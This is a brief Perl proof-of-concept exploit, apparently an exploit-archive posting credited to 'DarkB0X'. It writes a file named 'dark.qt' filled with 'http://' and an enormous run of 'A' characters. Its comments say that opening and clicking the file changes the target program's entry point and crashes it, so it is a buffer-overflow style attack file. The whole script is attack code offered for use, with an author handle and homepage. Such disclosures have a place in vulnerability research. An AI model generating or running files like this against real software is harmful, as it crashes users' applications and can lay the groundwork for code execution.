#!/usr/bin/perl -w #By DarkB0X #HomePage : http://NullArea.Net #contact : darkb0x97_at_googlemail.com #after loading the file click on it in the program #entry point will change and the app will crash my $file = "dark.qt" ; my $poc="http://"."A" x 0265487 ; open(b0x, ">>$file") or die "Cannot open $file"; print b0x $poc; close(b0x); print "\n[+] done ! , $file created";